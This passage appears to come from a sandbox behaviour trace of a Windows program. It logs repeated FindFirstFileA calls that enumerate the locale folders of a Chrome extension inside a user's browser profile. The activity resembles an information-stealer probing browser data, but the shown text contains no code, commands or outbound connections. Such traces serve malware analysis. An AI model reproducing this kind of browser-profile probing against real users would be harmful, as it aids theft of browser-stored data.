Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18d4980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18d4980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.949] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18faae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18faae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.954] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18faae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18faae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.959] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18faae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18faae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.964] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1920c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1920c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.969] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1920c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1920c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.974] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1920c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1920c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.979] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1920c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1920c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.984] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1946da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1946da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.989] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1946da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1946da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.995] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1946da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1946da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.999] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf196cf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf196cf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.010] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf196cf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf196cf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.015] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1993060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1993060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.021] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1993060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1993060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.025] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1993060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1993060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.031] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19b91c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19b91c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.036] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19b91c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19b91c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.041] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19b91c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19b91c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.046] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19df320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19df320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.052] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19df320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19df320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.057] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf19df320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf19df320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.063] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a05480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a05480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.067] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a05480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a05480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.073] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a05480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a05480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.078] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a2b5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a2b5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.084] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a2b5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a2b5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.089] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a51740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a51740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.097] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a51740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a51740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.102] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a51740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a51740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.108] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a778a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a778a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.112] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a778a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a778a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.118] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a778a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a778a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.123] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a9da00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a9da00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.129] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a9da00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a9da00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.133] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS 